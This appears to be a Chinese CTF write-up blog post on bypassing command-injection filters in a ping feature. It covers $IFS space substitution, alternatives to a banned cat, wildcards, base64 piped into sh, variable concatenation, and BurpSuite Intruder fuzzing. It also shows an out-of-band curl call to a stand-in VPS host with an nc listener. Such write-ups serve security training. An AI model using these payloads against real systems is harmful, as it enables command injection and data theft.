news 2026/5/30 20:56:25

CTF命令执行绕过实战:从空格过滤到cat禁用,我的BurpSuite Fuzz测试笔记

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CTF命令执行绕过实战:从空格过滤到cat禁用,我的BurpSuite Fuzz测试笔记

CTF命令执行绕过实战:从空格过滤到cat禁用,我的BurpSuite Fuzz测试笔记

1. 解题现场:当命令执行遇上过滤规则

那是一个典型的CTF Web题——页面只有一个简单的ping功能,输入框旁写着"试试看能不能ping通你的IP"。直觉告诉我,这里肯定藏着命令注入漏洞。我尝试输入127.0.0.1;ls,页面返回了目录列表,但当我兴奋地输入cat flag.txt时,却只看到冰冷的"Invalid input"。

第一次交锋:空格被过滤了。在Linux中,空格是命令参数的分隔符,但聪明的系统管理员知道过滤它。这时候需要祭出我们的替代方案:

# 常见空格绕过技术 cat${IFS}flag.txt cat$IFS$9flag.txt cat<flag.txt cat%09flag.txt

提示:$IFS是Linux的内部字段分隔符,默认包含空格、制表符和换行符。加上$9(当前shell的第9个参数,通常为空)可以避免解析歧义。

通过BurpSuite的Intruder模块,我快速测试了这些变体。发现$IFS$9可以完美绕过过滤,但新的问题出现了——页面返回了"cat command not allowed"。原来这道题是双重过滤:既过滤空格,又禁用cat命令。

2. 绕过艺术:当cat成为违禁词

禁用cat并不意味着无法读取文件。Linux提供了丰富的文件读取命令,就像瑞士军刀有多种工具可选:

命令功能描述绕过示例
tac反向输出文件内容tac${IFS}flag.txt
more分页显示文件more${IFS}fl*
less可前后翻页的查看器less${IFS}f???.txt
head显示文件开头部分head${IFS}fla{g}.txt
tail显示文件末尾部分tail${IFS}f*.txt
nl显示带行号的内容nl${IFS}fla''g.txt
sort排序文件内容sort${IFS}f"l"ag.txt

实战技巧:通配符在绕过中特别有用:

# 使用问号匹配单个字符 cat${IFS}fl?g.txt # 使用星号匹配任意字符 cat${IFS}fl*

3. BurpSuite Fuzz测试实战

当手工测试效率低下时,BurpSuite的Intruder模块就是我们的自动化武器。以下是完整的Fuzz测试流程:

  1. 捕获请求:通过Proxy拦截正常的ping请求
  2. 标记参数:在Intruder中选中要测试的参数值
  3. 构建字典:准备包含各种绕过技术的字典文件:
    {IFS} $IFS$9 %09 < %20
  4. 配置攻击类型:选择"Cluster bomb"以测试多种组合
  5. 结果分析:通过响应长度和内容识别成功payload

高级技巧:当命令无回显时,可以使用带外技术(OOB)检测:

# 在VPS上监听 nc -lvnp 80 # 测试payload 127.0.0.1;curl${IFS}http://your-vps-ip/

4. 组合拳突破:编码与拼接技术

当单一绕过技术失效时,组合技往往能出奇制胜。以下是几种经典组合:

Base64编码绕过

# 编码cat flag.txt echo${IFS}"Y2F0IGZsYWcudHh0Cg=="|base64${IFS}-d|sh

变量拼接术

# 拆分重组命令 a=c;b=at;c=fl;d=ag;$a$b${IFS}$c$d.txt # 利用环境变量 PATH=/usr/local/bin:/usr/bin:/bin ${PATH:7:1}${PATH:4:1}${IFS}flag.txt

特殊字符插入

c\at${IFS}fl''ag.txt c"a"t${IFS}fla*.txt

5. 实战复盘:从踩坑到通关

回到那道双重过滤的题目,最终突破过程是这样的:

  1. 先用$IFS$9绕过空格限制
  2. 发现cat被禁后,尝试tac也被过滤
  3. 测试发现more命令可用,但flag文件内容太长被截断
  4. 改用head -n 50成功读取完整flag
  5. 最终payload:
    127.0.0.1;head${IFS}-n${IFS}50${IFS}fla*

经验总结

  • 永远准备Plan B:当一个命令被禁,立即尝试替代方案
  • 模糊测试要系统化:按空格→命令→符号的顺序逐步测试
  • 注意输出限制:有些命令会截断或分页显示,需要调整参数
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/29 9:47:01

【MATLAB】通信抗干扰跳频技术仿真实现与性能分析

【MATLAB】通信抗干扰跳频技术仿真实现与性能分析 一、引言 无线通信信道具备开放性、传播不可控的特点,信号传输过程中极易受到窄带干扰、宽带干扰、人为压制干扰与多径衰落的影响,导致通信误码率飙升、传输链路中断、通信可靠性大幅下降。在军用通信、无人机链路、专网通…

作者头像 李华
网站建设 2026/5/29 9:45:25

3分钟快速解密微信聊天记录:WechatDecrypt完整使用指南

3分钟快速解密微信聊天记录&#xff1a;WechatDecrypt完整使用指南 【免费下载链接】WechatDecrypt 微信消息解密工具 项目地址: https://gitcode.com/gh_mirrors/we/WechatDecrypt 你是否曾经因为更换手机而丢失了重要的微信聊天记录&#xff1f;或者不小心删除了珍贵的…

作者头像 李华
网站建设 2026/5/29 9:41:41

通用对抗性扰动为何难成网络犯罪利器:成本、复杂性与实战困境

1. 一个被高估的“银弹”&#xff1a;为什么网络罪犯并未拥抱高级AI在网络安全这个行当里待久了&#xff0c;你会听到很多关于“AI军备竞赛”的讨论。媒体喜欢渲染一种画面&#xff1a;攻击者正利用尖端的人工智能&#xff0c;制造出我们无法防御的、具有自我进化能力的超级恶意…

作者头像 李华
网站建设 2026/5/29 9:40:10

【扣子Coze教程】小红书爆款笔记批量抓取(附源码)

目录 1、成果展示 2、准备工作 3、制作工作流 4、开始测试 5、总结 大家都知道&#xff0c;做自媒体最重要的就是找爆款&#xff0c;复刻他们的流量密码&#xff0c;今天我们就通过扣子来实现一个批量抓取小红书爆款笔记的工作流&#xff0c;自动将结果导入到飞书多维表格…

作者头像 李华